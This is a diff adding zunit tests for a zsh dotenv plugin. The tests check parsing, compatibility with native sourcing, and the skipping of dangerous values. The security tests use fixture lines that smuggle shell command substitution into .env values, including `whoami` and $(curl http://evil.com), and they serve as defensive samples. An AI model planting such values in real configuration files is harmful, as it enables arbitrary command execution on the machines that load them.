MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse export syntax' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Exported variables
|
||||||
|
export EXPORTED_VAR=exported_value
|
||||||
|
export EXPORTED_EMPTY=
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EXPORTED_VAR 'exported_value'
|
||||||
|
EXPORTED_EMPTY ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse in-file variable expansion' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Variable expansion (in-file forward references)
|
||||||
|
BASE_URL=https://api.example.com
|
||||||
|
API_ENDPOINT="${BASE_URL}/v1"
|
||||||
|
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||||
|
COMBINED="${BASE_URL}_suffix"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BASE_URL 'https://api.example.com'
|
||||||
|
API_ENDPOINT 'https://api.example.com/v1'
|
||||||
|
FULL_ENDPOINT 'https://api.example.com/v2/users'
|
||||||
|
COMBINED 'https://api.example.com_suffix'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
27
plugins/dotenv/tests/compatibility.zunit
Normal file
27
plugins/dotenv/tests/compatibility.zunit
Normal file
|
|
@ -0,0 +1,27 @@
|
||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'compatibility: dotenvjs fixture matches native source' {
|
||||||
|
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
_source_with_allexport "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'compatibility: features fixture matches native source' {
|
||||||
|
local fixture="${testdir:A}/_support/fixtures/features.env"
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
_source_with_allexport "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||||
|
}
|
||||||
164
plugins/dotenv/tests/security.zunit
Normal file
164
plugins/dotenv/tests/security.zunit
Normal file
|
|
@ -0,0 +1,164 @@
|
||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
typeset -g fixture="$(_create_temp_fixture)"
|
||||||
|
typeset -gA expected_vars=()
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dangerous backtick command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_BACKTICK=`whoami`
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dangerous subshell command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_SUBSHELL=$(date)
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip nested command substitution in double quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip multiple words (potential command execution)' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped - multiple words could execute commands
|
||||||
|
BASE_URL=/ echo command run
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'allow literal command substitution in single quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Single quotes make everything literal - should be parsed
|
||||||
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||||
|
SAFE_BACKTICK='`also literal`'
|
||||||
|
|
||||||
|
# Should also be parsed
|
||||||
|
SAFE_VAR=safe_value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||||
|
SAFE_BACKTICK '`also literal`'
|
||||||
|
SAFE_VAR 'safe_value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip backticks in unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Backticks in unquoted context - should be skipped
|
||||||
|
DANGEROUS_UNQUOTED=`echo danger`
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dollar-paren in unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Command substitution in unquoted context - should be skipped
|
||||||
|
DANGEROUS_UNQUOTED=$(uname -a)
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Dollar signs that don't start command substitution
|
||||||
|
SAFE_DOLLARS='$HOME is literal'
|
||||||
|
SAFE_PRICE='Cost is $50'
|
||||||
|
SAFE_VAR='value$123'
|
||||||
|
|
||||||
|
# Should all be parsed
|
||||||
|
SAFE_VAR2=safe_value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_DOLLARS '$HOME is literal'
|
||||||
|
SAFE_PRICE 'Cost is $50'
|
||||||
|
SAFE_VAR 'value$123'
|
||||||
|
SAFE_VAR2 'safe_value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip quoted command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
HARMLESS_COMMAND="\$(echo)"
|
||||||
|
ANOTHER_ONE=$'\x24\x28echo\x29'
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'comprehensive security test with mixed safe and dangerous patterns' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# These should be SKIPPED (dangerous)
|
||||||
|
DANGEROUS_BACKTICK=`whoami`
|
||||||
|
DANGEROUS_SUBSHELL=$(date)
|
||||||
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||||
|
LOOKS_SAFE=$(curl http://evil.com)
|
||||||
|
BASE_URL=/ echo command run
|
||||||
|
|
||||||
|
# These should WORK (safe)
|
||||||
|
SAFE_BEFORE=safe_value_1
|
||||||
|
SAFE_AFTER=safe_value_2
|
||||||
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||||
|
SAFE_SINGLE_QUOTED2='`also literal`'
|
||||||
|
SAFE_DOLLARS='$HOME'
|
||||||
|
SAFE_PRICE="$50"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_BEFORE 'safe_value_1'
|
||||||
|
SAFE_AFTER 'safe_value_2'
|
||||||
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||||
|
SAFE_SINGLE_QUOTED2 '`also literal`'
|
||||||
|
SAFE_DOLLARS '$HOME'
|
||||||
|
SAFE_PRICE '$50'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue